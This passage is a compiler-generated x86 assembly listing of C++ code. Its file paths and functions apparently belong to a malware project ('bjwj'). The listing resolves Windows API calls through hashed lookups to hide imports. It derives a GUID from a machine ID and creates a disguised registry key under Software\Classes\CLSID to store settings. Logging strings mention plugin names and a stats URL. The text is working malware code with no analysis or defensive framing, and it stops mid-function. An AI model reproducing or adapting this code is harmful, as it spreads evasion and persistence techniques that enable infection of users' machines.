??_C@_0BF@EIPNLNPN@param1?5param2?5param3?$AA@ DB 'param1 param2 param3', 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_0BI@FEPNPBLK@DebugReportSaveSettings?$AA@
CONST	SEGMENT
??_C@_0BI@FEPNPBLK@DebugReportSaveSettings?$AA@ DB 'DebugReportSaveSettin'
	DB	'gs', 00H					; `string'
CONST	ENDS
;	COMDAT ??_C@_0BN@JMCGPHE@Started?5with?5ParamsList?$DN?8?$CFs?8?$AA@
CONST	SEGMENT
??_C@_0BN@JMCGPHE@Started?5with?5ParamsList?$DN?8?$CFs?8?$AA@ DB 'Started'
	DB	' with ParamsList=''%s''', 00H		; `string'
CONST	ENDS
;	COMDAT ??_C@_0CA@GDIGCGHJ@DebugReportUpdateSettingsThread?$AA@
CONST	SEGMENT
??_C@_0CA@GDIGCGHJ@DebugReportUpdateSettingsThread?$AA@ DB 'DebugReportUp'
	DB	'dateSettingsThread', 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_0N@MIJAIIJB@Sleep?510?5min?$AA@
CONST	SEGMENT
??_C@_0N@MIJAIIJB@Sleep?510?5min?$AA@ DB 'Sleep 10 min', 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_01OGPIMHDM@?$DP?$AA@
CONST	SEGMENT
??_C@_01OGPIMHDM@?$DP?$AA@ DB '?', 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_0EG@ECPPPBOH@Parsing?5arguments?5results?3?5PlugN@
CONST	SEGMENT
??_C@_0EG@ECPPPBOH@Parsing?5arguments?5results?3?5PlugN@ DB 'Parsing argu'
	DB	'ments results: PlugName=''%s'' StatPrefix=''%s'' StatUrl=''%s'
	DB	'''', 00H					; `string'
CONST	ENDS
;	COMDAT ??_C@_0BI@EGLEOLDN@DebugReportLoadSettings?$AA@
CONST	SEGMENT
??_C@_0BI@EGLEOLDN@DebugReportLoadSettings?$AA@ DB 'DebugReportLoadSettin'
	DB	'gs', 00H					; `string'
CONST	ENDS
;	COMDAT ??_C@_0DH@HCFIIEIA@DebugReportLoadParamList?$CI?$CJ?5resul@
CONST	SEGMENT
??_C@_0DH@HCFIIEIA@DebugReportLoadParamList?$CI?$CJ?5resul@ DB 'DebugRepo'
	DB	'rtLoadParamList() result=%d (ParamList=''%s'').', 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_0BK@LMJLBNCE@RegSetValueEx?$CI?$CJ?5result?$DN?$CFu?$AA@
CONST	SEGMENT
??_C@_0BK@LMJLBNCE@RegSetValueEx?$CI?$CJ?5result?$DN?$CFu?$AA@ DB 'RegSet'
	DB	'ValueEx() result=%u', 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_0BJ@OFKOACDB@DebugReportSaveParamList?$AA@
CONST	SEGMENT
??_C@_0BJ@OFKOACDB@DebugReportSaveParamList?$AA@ DB 'DebugReportSaveParam'
	DB	'List', 00H					; `string'
CONST	ENDS
;	COMDAT ??_C@_0BL@DOMNLNJP@Finished?4?$CIparam_list?$DN?8?$CFs?8?$CJ?$AA@
CONST	SEGMENT
??_C@_0BL@DOMNLNJP@Finished?4?$CIparam_list?$DN?8?$CFs?8?$CJ?$AA@ DB 'Fin'
	DB	'ished.(param_list=''%s'')', 00H		; `string'
CONST	ENDS
;	COMDAT ??_C@_0CJ@MFOEILLB@RegQueryValueEx?$CI?$CJ?5result?$DN?$CFu?5Valu@
CONST	SEGMENT
??_C@_0CJ@MFOEILLB@RegQueryValueEx?$CI?$CJ?5result?$DN?$CFu?5Valu@ DB 'Re'
	DB	'gQueryValueEx() result=%u ValueType=%d', 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_02DAMOAIFE@PL?$AA@
CONST	SEGMENT
??_C@_02DAMOAIFE@PL?$AA@ DB 'PL', 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_0BJ@JGGAFNKI@DebugReportLoadParamList?$AA@
CONST	SEGMENT
??_C@_0BJ@JGGAFNKI@DebugReportLoadParamList?$AA@ DB 'DebugReportLoadParam'
	DB	'List', 00H					; `string'
CONST	ENDS
;	COMDAT ??_C@_0BP@PEAMALPO@CreateSettingKey?$CI?$CJ?5result?$DN0x?$CFX?$AA@
CONST	SEGMENT
??_C@_0BP@PEAMALPO@CreateSettingKey?$CI?$CJ?5result?$DN0x?$CFX?$AA@ DB 'C'
	DB	'reateSettingKey() result=0x%X', 00H		; `string'
CONST	ENDS
;	COMDAT ??_C@_0N@GMJMBCEB@GetValueName?$AA@
CONST	SEGMENT
??_C@_0N@GMJMBCEB@GetValueName?$AA@ DB 'GetValueName', 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_0BK@DMAAIPND@returning?5value_name?$DN?8?$CFs?8?$AA@
CONST	SEGMENT
??_C@_0BK@DMAAIPND@returning?5value_name?$DN?8?$CFs?8?$AA@ DB 'returning '
	DB	'value_name=''%s''', 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_0BI@DDFHHBE@Software?2Classes?2CLSID?2?$AA@
CONST	SEGMENT
??_C@_0BI@DDFHHBE@Software?2Classes?2CLSID?2?$AA@ DB 'Software\Classes\CL'
	DB	'SID\', 00H					; `string'
CONST	ENDS
;	COMDAT ??_C@_01CELHOKLL@?$HN?$AA@
CONST	SEGMENT
??_C@_01CELHOKLL@?$HN?$AA@ DB '}', 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_01HCONENDN@?$HL?$AA@
CONST	SEGMENT
??_C@_01HCONENDN@?$HL?$AA@ DB '{', 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_01GBGANLPD@0?$AA@
CONST	SEGMENT
??_C@_01GBGANLPD@0?$AA@ DB '0', 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_00CNPNBAHC@?$AA@
CONST	SEGMENT
??_C@_00CNPNBAHC@?$AA@ DB 00H				; `string'
CONST	ENDS
;	COMDAT ??_C@_0BA@IJGPFGLI@DebugReportInit?$AA@
CONST	SEGMENT
??_C@_0BA@IJGPFGLI@DebugReportInit?$AA@ DB 'DebugReportInit', 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_0DI@ELHNBBCH@Start?5initialize?5debug?5reporting@
CONST	SEGMENT
??_C@_0DI@ELHNBBCH@Start?5initialize?5debug?5reporting@ DB 'Start initial'
	DB	'ize debug reporting (DbgRptSettings=0x%X).', 00H ; `string'
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$01$0DOEAAPMA@PAUHKEY__@@PB_WHHPBEK@@YAPAXPAUHKEY__@@PB_WHHPBEK@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a5$ = 12						; size = 4
_a6$ = 16						; size = 4
??$pushargEx@$01$0DOEAAPMA@PAUHKEY__@@PB_WHHPBEK@@YAPAXPAUHKEY__@@PB_WHHPBEK@Z PROC ; pushargEx<2,1044385728,HKEY__ *,wchar_t const *,int,int,unsigned char const *,unsigned long>, COMDAT
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
; Line 125
	push	1044385728				; 3e400fc0H
	push	2
	push	0
	call	?GetProcAddressEx@@YAPAXPADKK@Z		; GetProcAddressEx
	add	esp, 12					; 0000000cH
; Line 126
	push	DWORD PTR _a6$[esp-4]
	push	DWORD PTR _a5$[esp]
	push	3
	push	0
	push	OFFSET ??_C@_15HCBMMKJC@?$AAI?$AAD?$AA?$AA@
	push	DWORD PTR _a1$[esp+16]
	call	eax
; Line 127
	ret	0
??$pushargEx@$01$0DOEAAPMA@PAUHKEY__@@PB_WHHPBEK@@YAPAXPAUHKEY__@@PB_WHHPBEK@Z ENDP ; pushargEx<2,1044385728,HKEY__ *,wchar_t const *,int,int,unsigned char const *,unsigned long>
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??$pushargEx@$00$0CNEALIOG@PAD@@YAPAXPAD@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
??$pushargEx@$00$0CNEALIOG@PAD@@YAPAXPAD@Z PROC		; pushargEx<1,759216358,char *>, COMDAT
; Line 85
	push	759216358				; 2d40b8e6H
	push	1
	push	0
	call	?GetProcAddressEx@@YAPAXPADKK@Z		; GetProcAddressEx
	add	esp, 12					; 0000000cH
; Line 86
	push	DWORD PTR _a1$[esp-4]
	call	eax
; Line 87
	ret	0
??$pushargEx@$00$0CNEALIOG@PAD@@YAPAXPAD@Z ENDP		; pushargEx<1,759216358,char *>
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??$pushargEx@$01$0JAKAJHPA@PAUHKEY__@@PA_WHHHJHPAPAU1@PAK@@YAPAXPAUHKEY__@@PA_WHHHJHPAPAU0@PAK@Z
_TEXT	SEGMENT
_a2$ = 8						; size = 4
_a8$ = 12						; size = 4
_a9$ = 16						; size = 4
??$pushargEx@$01$0JAKAJHPA@PAUHKEY__@@PA_WHHHJHPAPAU1@PAK@@YAPAXPAUHKEY__@@PA_WHHHJHPAPAU0@PAK@Z PROC ; pushargEx<2,2426443760,HKEY__ *,wchar_t *,int,int,int,long,int,HKEY__ * *,unsigned long *>, COMDAT
; Line 147
	push	esi
; Line 149
	push	-1868523536				; 90a097f0H
	push	2
	xor	esi, esi
	push	esi
	call	?GetProcAddressEx@@YAPAXPADKK@Z		; GetProcAddressEx
	add	esp, 12					; 0000000cH
; Line 150
	push	DWORD PTR _a9$[esp]
	push	DWORD PTR _a8$[esp+4]
	push	esi
	push	131078					; 00020006H
	push	esi
	push	esi
	push	esi
	push	DWORD PTR _a2$[esp+28]
	push	-2147483646				; 80000002H
	call	eax
	pop	esi
; Line 151
	ret	0
??$pushargEx@$01$0JAKAJHPA@PAUHKEY__@@PA_WHHHJHPAPAU1@PAK@@YAPAXPAUHKEY__@@PA_WHHHJHPAPAU0@PAK@Z ENDP ; pushargEx<2,2426443760,HKEY__ *,wchar_t *,int,int,int,long,int,HKEY__ * *,unsigned long *>
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??$pushargEx@$00$0EHFFIHLH@PAD@@YAPAXPAD@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
??$pushargEx@$00$0EHFFIHLH@PAD@@YAPAXPAD@Z PROC		; pushargEx<1,1196787639,char *>, COMDAT
; Line 85
	push	1196787639				; 475587b7H
	push	1
	push	0
	call	?GetProcAddressEx@@YAPAXPADKK@Z		; GetProcAddressEx
	add	esp, 12					; 0000000cH
; Line 86
	push	DWORD PTR _a1$[esp-4]
	call	eax
; Line 87
	ret	0
??$pushargEx@$00$0EHFFIHLH@PAD@@YAPAXPAD@Z ENDP		; pushargEx<1,1196787639,char *>
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??$pushargEx@$00$0JMEIAOCE@PAU_OSVERSIONINFOEXA@@@@YAPAXPAU_OSVERSIONINFOEXA@@@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
??$pushargEx@$00$0JMEIAOCE@PAU_OSVERSIONINFOEXA@@@@YAPAXPAU_OSVERSIONINFOEXA@@@Z PROC ; pushargEx<1,2621967908,_OSVERSIONINFOEXA *>, COMDAT
; Line 85
	push	-1672999388				; 9c480e24H
	push	1
	push	0
	call	?GetProcAddressEx@@YAPAXPADKK@Z		; GetProcAddressEx
	add	esp, 12					; 0000000cH
; Line 86
	push	DWORD PTR _a1$[esp-4]
	call	eax
; Line 87
	ret	0
??$pushargEx@$00$0JMEIAOCE@PAU_OSVERSIONINFOEXA@@@@YAPAXPAU_OSVERSIONINFOEXA@@@Z ENDP ; pushargEx<1,2621967908,_OSVERSIONINFOEXA *>
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??$pushargEx@$01$0NLDFFFDE@PAUHKEY__@@@@YAPAXPAUHKEY__@@@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
??$pushargEx@$01$0NLDFFFDE@PAUHKEY__@@@@YAPAXPAUHKEY__@@@Z PROC ; pushargEx<2,3677705524,HKEY__ *>, COMDAT
; Line 85
	push	-617261772				; db355534H
	push	2
	push	0
	call	?GetProcAddressEx@@YAPAXPADKK@Z		; GetProcAddressEx
	add	esp, 12					; 0000000cH
; Line 86
	push	DWORD PTR _a1$[esp-4]
	call	eax
; Line 87
	ret	0
??$pushargEx@$01$0NLDFFFDE@PAUHKEY__@@@@YAPAXPAUHKEY__@@@Z ENDP ; pushargEx<2,3677705524,HKEY__ *>
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??$pushargEx@$01$0BIACOHMI@PAUHKEY__@@PADHPAKPAEPAK@@YAPAXPAUHKEY__@@PADHPAKPAE2@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a4$ = 16						; size = 4
_a5$ = 20						; size = 4
_a6$ = 24						; size = 4
??$pushargEx@$01$0BIACOHMI@PAUHKEY__@@PADHPAKPAEPAK@@YAPAXPAUHKEY__@@PADHPAKPAE2@Z PROC ; pushargEx<2,402843592,HKEY__ *,char *,int,unsigned long *,unsigned char *,unsigned long *>, COMDAT
; Line 123
	push	ebp
	mov	ebp, esp
; Line 125
	push	402843592				; 1802e7c8H
	push	2
	push	0
	call	?GetProcAddressEx@@YAPAXPADKK@Z		; GetProcAddressEx
	add	esp, 12					; 0000000cH
; Line 126
	push	DWORD PTR _a6$[ebp]
	push	DWORD PTR _a5$[ebp]
	push	DWORD PTR _a4$[ebp]
	push	0
	push	DWORD PTR _a2$[ebp]
	push	DWORD PTR _a1$[ebp]
	call	eax
; Line 127
	pop	ebp
	ret	0
??$pushargEx@$01$0BIACOHMI@PAUHKEY__@@PADHPAKPAEPAK@@YAPAXPAUHKEY__@@PADHPAKPAE2@Z ENDP ; pushargEx<2,402843592,HKEY__ *,char *,int,unsigned long *,unsigned char *,unsigned long *>
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??$pushargEx@$01$0JAKAJHOG@PAUHKEY__@@PADHHHJHPAPAU1@PAK@@YAPAXPAUHKEY__@@PADHHHJHPAPAU0@PAK@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a8$ = 16						; size = 4
_a9$ = 20						; size = 4
??$pushargEx@$01$0JAKAJHOG@PAUHKEY__@@PADHHHJHPAPAU1@PAK@@YAPAXPAUHKEY__@@PADHHHJHPAPAU0@PAK@Z PROC ; pushargEx<2,2426443750,HKEY__ *,char *,int,int,int,long,int,HKEY__ * *,unsigned long *>, COMDAT
; Line 147
	push	esi
; Line 149
	push	-1868523546				; 90a097e6H
	push	2
	xor	esi, esi
	push	esi
	call	?GetProcAddressEx@@YAPAXPADKK@Z		; GetProcAddressEx
	add	esp, 12					; 0000000cH
; Line 150
	push	DWORD PTR _a9$[esp]
	push	DWORD PTR _a8$[esp+4]
	push	esi
	push	983103					; 000f003fH
	push	esi
	push	esi
	push	esi
	push	DWORD PTR _a2$[esp+28]
	push	DWORD PTR _a1$[esp+32]
	call	eax
	pop	esi
; Line 151
	ret	0
??$pushargEx@$01$0JAKAJHOG@PAUHKEY__@@PADHHHJHPAPAU1@PAK@@YAPAXPAUHKEY__@@PADHHHJHPAPAU0@PAK@Z ENDP ; pushargEx<2,2426443750,HKEY__ *,char *,int,int,int,long,int,HKEY__ * *,unsigned long *>
PUBLIC	?DebugReportFreeSettings@@YAXPAUDebugReportSettings@@@Z ; DebugReportFreeSettings
_DbgRptSettingDefault DB 0cH DUP (?)
; Function compile flags: /Ogspy
;	COMDAT ?DebugReportFreeSettings@@YAXPAUDebugReportSettings@@@Z
_TEXT	SEGMENT
?DebugReportFreeSettings@@YAXPAUDebugReportSettings@@@Z PROC ; DebugReportFreeSettings, COMDAT
; _settings$ = esi
; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp
; Line 74
	test	esi, esi
	je	SHORT $LN5@DebugRepor
; Line 75
	cmp	esi, OFFSET _DbgRptSettingDefault
	je	SHORT $LN5@DebugRepor
; Line 77
	mov	eax, DWORD PTR [esi+4]
	test	eax, eax
	je	SHORT $LN2@DebugRepor
	push	eax
	call	?Free@STR@@YAXPAD@Z			; STR::Free
	pop	ecx
$LN2@DebugRepor:
; Line 78
	mov	eax, DWORD PTR [esi+8]
	test	eax, eax
	je	SHORT $LN1@DebugRepor
	push	eax
	call	?Free@STR@@YAXPAD@Z			; STR::Free
	pop	ecx
$LN1@DebugRepor:
; Line 80
	push	esi
	call	?Free@HEAP@@YAXPAX@Z			; HEAP::Free
	pop	ecx
$LN5@DebugRepor:
; Line 81
	ret	0
?DebugReportFreeSettings@@YAXPAUDebugReportSettings@@@Z ENDP ; DebugReportFreeSettings
PUBLIC	?CreateGuidFromUid@@YA?AV?$TString@D@@ABV1@@Z	; CreateGuidFromUid
; Function compile flags: /Ogspy
;	COMDAT ?CreateGuidFromUid@@YA?AV?$TString@D@@ABV1@@Z
_TEXT	SEGMENT
_parts$ = -48						; size = 20
$T102919 = -28						; size = 8
_wide_uid$ = -20					; size = 8
_CurPtr$ = -12						; size = 4
_i$83940 = -8						; size = 4
_uid$ = 8						; size = 4
?CreateGuidFromUid@@YA?AV?$TString@D@@ABV1@@Z PROC	; CreateGuidFromUid, COMDAT
; ___$ReturnUdt$ = ebx
; Line 99
	push	ebp
	mov	ebp, esp
	sub	esp, 52					; 00000034H
	push	esi
	push	edi
; Line 100
	mov	eax, OFFSET ??_7?$TString@D@@6B@
; Line 102
	push	4
	mov	DWORD PTR _wide_uid$[ebp], eax
	xor	edi, edi
	and	DWORD PTR [ebx+4], edi
	mov	DWORD PTR [ebx], eax
	pop	eax
	mov	DWORD PTR _wide_uid$[ebp+4], edi
	mov	DWORD PTR _parts$[ebp], 8
	mov	DWORD PTR _parts$[ebp+4], eax
	mov	DWORD PTR _parts$[ebp+8], eax
	mov	DWORD PTR _parts$[ebp+12], eax
	mov	DWORD PTR _parts$[ebp+16], 12		; 0000000cH
$LL6@CreateGuid:
; Line 105
	test	edi, edi
	je	SHORT $LN21@CreateGuid
	mov	eax, DWORD PTR [edi-8]
	jmp	SHORT $LN22@CreateGuid
$LN21@CreateGuid:
	xor	eax, eax
$LN22@CreateGuid:
	cmp	eax, 32					; 00000020H
	jae	SHORT $LN5@CreateGuid
	mov	eax, DWORD PTR _uid$[ebp]
	lea	edi, DWORD PTR _wide_uid$[ebp]
	call	??Y?$TString@D@@QAEAAV0@ABV0@@Z		; TString<char>::operator+=
	mov	edi, DWORD PTR _wide_uid$[ebp+4]
	jmp	SHORT $LL6@CreateGuid
$LN5@CreateGuid:
; Line 107
	push	OFFSET ??_C@_01HCONENDN@?$HL?$AA@
	mov	esi, ebx
	call	??Y?$TString@D@@QAEAAV0@PBD@Z		; TString<char>::operator+=
; Line 108
	mov	DWORD PTR _CurPtr$[ebp], edi
	test	edi, edi
	jne	SHORT $LN28@CreateGuid
	mov	DWORD PTR _CurPtr$[ebp], OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LN28@CreateGuid:
; Line 110
	and	DWORD PTR _i$83940[ebp], 0
$LN4@CreateGuid:
; Line 112
	mov	edi, DWORD PTR _i$83940[ebp]
	test	edi, edi
	je	SHORT $LN1@CreateGuid
	push	OFFSET ??_C@_01JOAMLHOP@?9?$AA@
	mov	esi, ebx
	call	??Y?$TString@D@@QAEAAV0@PBD@Z		; TString<char>::operator+=
$LN1@CreateGuid:
; Line 114
	push	DWORD PTR _CurPtr$[ebp]
	mov	eax, DWORD PTR _parts$[ebp+edi*4]
	lea	esi, DWORD PTR $T102919[ebp]
	call	??0?$TString@D@@QAE@PBDK@Z		; TString<char>::TString<char>
	mov	edi, ebx
	call	??Y?$TString@D@@QAEAAV0@ABV0@@Z		; TString<char>::operator+=
	mov	edi, esi
	call	??1?$TString@D@@UAE@XZ			; TString<char>::~TString<char>
; Line 115
	mov	eax, DWORD PTR _i$83940[ebp]
	mov	eax, DWORD PTR _parts$[ebp+eax*4]
	add	DWORD PTR _CurPtr$[ebp], eax
	inc	DWORD PTR _i$83940[ebp]
	cmp	DWORD PTR _i$83940[ebp], 5
	jb	SHORT $LN4@CreateGuid
; Line 118
	push	OFFSET ??_C@_01CELHOKLL@?$HN?$AA@
	mov	esi, ebx
	call	??Y?$TString@D@@QAEAAV0@PBD@Z		; TString<char>::operator+=
; Line 119
	lea	edi, DWORD PTR _wide_uid$[ebp]
	call	??1?$TString@D@@UAE@XZ			; TString<char>::~TString<char>
; Line 120
	pop	edi
	mov	eax, ebx
	pop	esi
	leave
	ret	0
?CreateGuidFromUid@@YA?AV?$TString@D@@ABV1@@Z ENDP	; CreateGuidFromUid
_TEXT	ENDS
PUBLIC	?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z	; GenerateUidAsString
; Function compile flags: /Ogspy
;	COMDAT ?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z
_TEXT	SEGMENT
_Prefix$ = 8						; size = 4
?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z PROC	; GenerateUidAsString, COMDAT
; ___$ReturnUdt$ = eax
; Line 86
	mov	ecx, DWORD PTR _Prefix$[esp-4]
	push	esi
	push	edi
	mov	esi, eax
	call	??0?$TString@D@@QAE@ABV0@@Z		; TString<char>::TString<char>
; Line 87
	call	?MakeMachineID@@YAPADXZ			; MakeMachineID
	mov	edi, eax
; Line 88
	push	edi
	call	?m_lstrlen@@YGKPBD@Z			; m_lstrlen
; Line 90
	mov	eax, DWORD PTR _Prefix$[esp+4]
	call	?Length@?$TString@D@@QBEKXZ		; TString<char>::Length
	test	eax, eax
	jbe	SHORT $LN1@GenerateUi
	push	OFFSET ??_C@_01GBGANLPD@0?$AA@
	call	??Y?$TString@D@@QAEAAV0@PBD@Z		; TString<char>::operator+=
$LN1@GenerateUi:
; Line 91
	push	edi
	call	??Y?$TString@D@@QAEAAV0@PBD@Z		; TString<char>::operator+=
; Line 93
	push	edi
	call	?Free@STR@@YAXPAD@Z			; STR::Free
	pop	ecx
	pop	edi
; Line 94
	mov	eax, esi
	pop	esi
; Line 95
	ret	0
?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z ENDP	; GenerateUidAsString
PUBLIC	?CreateSettingKey@@YAPAUHKEY__@@XZ		; CreateSettingKey
; Function compile flags: /Ogspy
;	COMDAT ?CreateSettingKey@@YAPAUHKEY__@@XZ
_TEXT	SEGMENT
$T103346 = -48						; size = 8
$T103347 = -40						; size = 8
_roots$ = -32						; size = 8
$T103345 = -24						; size = 8
_path$ = -16						; size = 8
_dsp$ = -8						; size = 4
_key$ = -4						; size = 4
?CreateSettingKey@@YAPAUHKEY__@@XZ PROC			; CreateSettingKey, COMDAT
; Line 125
	push	ebp
	mov	ebp, esp
	sub	esp, 52					; 00000034H
	push	ebx
	push	esi
	push	edi
; Line 130
	xor	eax, eax
	lea	edi, DWORD PTR _roots$[ebp+4]
	mov	DWORD PTR _roots$[ebp], -2147483646	; 80000002H
	stosd
; Line 135
	push	OFFSET ??_C@_0BI@DDFHHBE@Software?2Classes?2CLSID?2?$AA@
	lea	edi, DWORD PTR _path$[ebp]
	mov	DWORD PTR _key$[ebp], eax
	mov	DWORD PTR _dsp$[ebp], eax
	mov	DWORD PTR _path$[ebp], OFFSET ??_7?$TString@D@@6B@
	mov	DWORD PTR _path$[ebp+4], eax
	call	??4?$TString@D@@QAEAAV0@PBD@Z		; TString<char>::operator=
; Line 136
	push	OFFSET ??_C@_00CNPNBAHC@?$AA@
	lea	esi, DWORD PTR $T103345[ebp]
	call	??0?$TString@D@@QAE@PBD@Z		; TString<char>::TString<char>
	mov	eax, esi
	push	eax
	lea	eax, DWORD PTR $T103346[ebp]
	call	?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z ; GenerateUidAsString
	pop	ecx
	push	eax
	lea	ebx, DWORD PTR $T103347[ebp]
	call	?CreateGuidFromUid@@YA?AV?$TString@D@@ABV1@@Z ; CreateGuidFromUid
	pop	ecx
	call	??Y?$TString@D@@QAEAAV0@ABV0@@Z		; TString<char>::operator+=
	mov	edi, ebx
	call	??1?$TString@D@@UAE@XZ			; TString<char>::~TString<char>
	lea	edi, DWORD PTR $T103346[ebp]
	call	??1?$TString@D@@UAE@XZ			; TString<char>::~TString<char>
	mov	edi, esi
	call	??1?$TString@D@@UAE@XZ			; TString<char>::~TString<char>
; Line 138
	xor	esi, esi
	xor	edi, edi
$LL4@CreateSett:
; Line 141
	mov	ebx, DWORD PTR _path$[ebp+4]
	cmp	ebx, esi
	jne	SHORT $LN14@CreateSett
	mov	ebx, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LN14@CreateSett:
	push	-1868523546				; 90a097e6H
	push	2
	push	esi
	call	?GetProcAddressEx@@YAPAXPADKK@Z		; GetProcAddressEx
	add	esp, 12					; 0000000cH
	lea	ecx, DWORD PTR _dsp$[ebp]
	push	ecx
	lea	ecx, DWORD PTR _key$[ebp]
	push	ecx
	push	esi
	push	983103					; 000f003fH
	push	esi
	push	esi
	push	esi
	push	ebx
	push	DWORD PTR _roots$[ebp+edi*4]
	call	eax
; Line 143
	test	eax, eax
	je	SHORT $LN18@CreateSett
	inc	edi
	cmp	edi, 2
	jb	SHORT $LL4@CreateSett
	jmp	SHORT $LN20@CreateSett
$LN18@CreateSett:
	mov	esi, DWORD PTR _key$[ebp]
$LN20@CreateSett:
	lea	edi, DWORD PTR _path$[ebp]
	call	??1?$TString@D@@UAE@XZ			; TString<char>::~TString<char>
; Line 147
	pop	edi
	mov	eax, esi
	pop	esi
	pop	ebx
	leave
	ret	0
?CreateSettingKey@@YAPAUHKEY__@@XZ ENDP			; CreateSettingKey
; Function compile flags: /Ogspy
;	COMDAT ??$DBGOutMessage@PBDPBD@DBGRPTDEBGTEMPLATES@@YAXPBD0@Z
_TEXT	SEGMENT
??$DBGOutMessage@PBDPBD@DBGRPTDEBGTEMPLATES@@YAXPBD0@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *>, COMDAT
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
; Line 67
	push	OFFSET ??_C@_0N@MIJAIIJB@Sleep?510?5min?$AA@
	xor	eax, eax
	push	eax
	push	eax
	push	eax
	push	OFFSET ??_C@_0CA@GDIGCGHJ@DebugReportUpdateSettingsThread?$AA@
	call	?MessageEx@Debug@@YAXPADK000ZZ		; Debug::MessageEx
	add	esp, 20					; 00000014H
; Line 69
	ret	0
??$DBGOutMessage@PBDPBD@DBGRPTDEBGTEMPLATES@@YAXPBD0@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *>
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??$DBGOutMessage@PBDPBDPADPADPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0PAD11@Z
_TEXT	SEGMENT
_Arg1$ = 8						; size = 4
_Arg2$ = 12						; size = 4
_Arg3$ = 16						; size = 4
??$DBGOutMessage@PBDPBDPADPADPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0PAD11@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,char *,char *,char *>, COMDAT
; Line 91
	push	DWORD PTR _Arg3$[esp-4]
	xor	eax, eax
	push	DWORD PTR _Arg2$[esp]
	push	DWORD PTR _Arg1$[esp+4]
	push	OFFSET ??_C@_0EG@ECPPPBOH@Parsing?5arguments?5results?3?5PlugN@
	push	eax
	push	eax
	push	eax
	push	OFFSET ??_C@_0BI@EGLEOLDN@DebugReportLoadSettings?$AA@
	call	?MessageEx@Debug@@YAXPADK000ZZ		; Debug::MessageEx
	add	esp, 32					; 00000020H
; Line 93
	ret	0
??$DBGOutMessage@PBDPBDPADPADPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0PAD11@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,char *,char *,char *>
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??$DBGOutMessage@PBDPBD_NPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0_NPAD@Z
_TEXT	SEGMENT
_Arg2$ = 8						; size = 4
??$DBGOutMessage@PBDPBD_NPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0_NPAD@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,bool,char *>, COMDAT
; _Arg1$ = eax
; Line 83
	push	DWORD PTR _Arg2$[esp-4]
	movzx	eax, al
	push	eax
	push	OFFSET ??_C@_0DH@HCFIIEIA@DebugReportLoadParamList?$CI?$CJ?5resul@
	xor	eax, eax
	push	eax
	push	eax
	push	eax
	push	OFFSET ??_C@_0BI@EGLEOLDN@DebugReportLoadSettings?$AA@
	call	?MessageEx@Debug@@YAXPADK000ZZ		; Debug::MessageEx
	add	esp, 28					; 0000001cH
; Line 85
	ret	0
??$DBGOutMessage@PBDPBD_NPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0_NPAD@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,bool,char *>
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??$DBGOutMessage@PBDPBDKK@DBGRPTDEBGTEMPLATES@@YAXPBD0KK@Z
_TEXT	SEGMENT
_Arg1$ = 8						; size = 4
_Arg2$ = 12						; size = 4
??$DBGOutMessage@PBDPBDKK@DBGRPTDEBGTEMPLATES@@YAXPBD0KK@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,unsigned long,unsigned long>, COMDAT
; Line 83
	push	DWORD PTR _Arg2$[esp-4]
	xor	eax, eax
	push	DWORD PTR _Arg1$[esp]
	push	OFFSET ??_C@_0CJ@MFOEILLB@RegQueryValueEx?$CI?$CJ?5result?$DN?$CFu?5Valu@
	push	eax
	push	eax
	push	eax
